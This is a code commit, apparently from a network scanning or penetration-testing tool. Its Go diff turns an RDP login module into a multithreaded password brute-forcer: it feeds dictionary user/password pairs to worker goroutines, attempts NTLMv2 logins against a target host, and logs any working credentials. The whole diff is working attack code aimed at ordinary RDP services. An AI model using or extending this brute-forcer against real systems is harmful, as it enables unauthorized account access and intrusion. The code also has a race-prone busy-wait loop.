poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程

Plugins/rdp.go

@@ -22,46 +22,88 @@ import (
 	"time"
 )
 
+type Brutelist struct {
+	user string
+	pass string
+}
+
 func RdpScan(info *common.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
-	starttime := time.Now().Unix()
+
+	var wg sync.WaitGroup
+	var signal bool
+	var num = 0
+	var all = len(common.Userdict["rdp"]) * len(common.Passwords)
+	var mutex sync.Mutex
+	brlist := make(chan Brutelist, all)
+	port, _ := strconv.Atoi(info.Ports)
+
 	for _, user := range common.Userdict["rdp"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
-			port, err := strconv.Atoi(info.Ports)
-			flag, err := RdpConn(info.Host, info.Domain, user, pass, port)
-			if flag == true && err == nil {
-				result := fmt.Sprintf("[+] RDP:%v:%v:%v %v", info.Host, info.Ports, user, pass)
-				common.LogSuccess(result)
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] rdp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["rdp"])*len(common.Passwords)) * info.Timeout) {
-					return err
-				}
-			}
+			brlist <- Brutelist{user, pass}
 		}
 	}
+
+	for i := 0; i < common.BruteThread; i++ {
+		wg.Add(1)
+		go worker(info.Host, info.Domain, port, &wg, brlist, &signal, &num, all, &mutex, info.Timeout)
+	}
+
+	close(brlist)
+	go func() {
+		wg.Wait()
+		signal = true
+	}()
+	for !signal {
+	}
+
 	return tmperr
 }
 
-func RdpConn(ip, domain, user, password string, port int) (bool, error) {
+func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
+	defer wg.Done()
+	for one := range brlist {
+		if *signal == true {
+			return
+		}
+		go incrNum(num, mutex)
+		user, pass := one.user, one.pass
+		flag, err := RdpConn(host, domain, user, pass, port, timeout)
+		if flag == true && err == nil {
+			var result string
+			if domain != "" {
+				result = fmt.Sprintf("[+] RDP:%v:%v:%v\\%v %v", host, port, domain, user, pass)
+			} else {
+				result = fmt.Sprintf("[+] RDP:%v:%v:%v %v", host, port, user, pass)
+			}
+			common.LogSuccess(result)
+			*signal = true
+			return
+		} else {
+			errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
+			common.LogError(errlog)
+		}
+	}
+}
+
+func incrNum(num *int, mutex *sync.Mutex) {
+	mutex.Lock()
+	*num = *num + 1
+	mutex.Unlock()
+}
+
+func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
 	target := fmt.Sprintf("%s:%d", ip, port)
 	g := NewClient(target, glog.NONE)
-	err := g.Login(domain, user, password)
+	err := g.Login(domain, user, password, timeout)
 
-	//var e
 	if err == nil {
 		return true, nil
 	}
-	//return true, err
+
 	return false, err
 }
 
@@ -84,12 +126,16 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
 	}
 }
 
-func (g *Client) Login(domain, user, pwd string) error {
-	conn, err := net.DialTimeout("tcp", g.Host, 5*time.Second)
+func (g *Client) Login(domain, user, pwd string, timeout int64) error {
+	conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
+	defer func() {
+		if conn != nil {
+			conn.Close()
+		}
+	}()
 	if err != nil {
 		return fmt.Errorf("[dial err] %v", err)
 	}
-	defer conn.Close()
 	glog.Info(conn.LocalAddr().String())
 
 	g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
@@ -147,7 +193,6 @@ func (g *Client) Login(domain, user, pwd string) error {
 			wg.Done()
 		}
 	})
-
 	wg.Wait()
 	return err
 }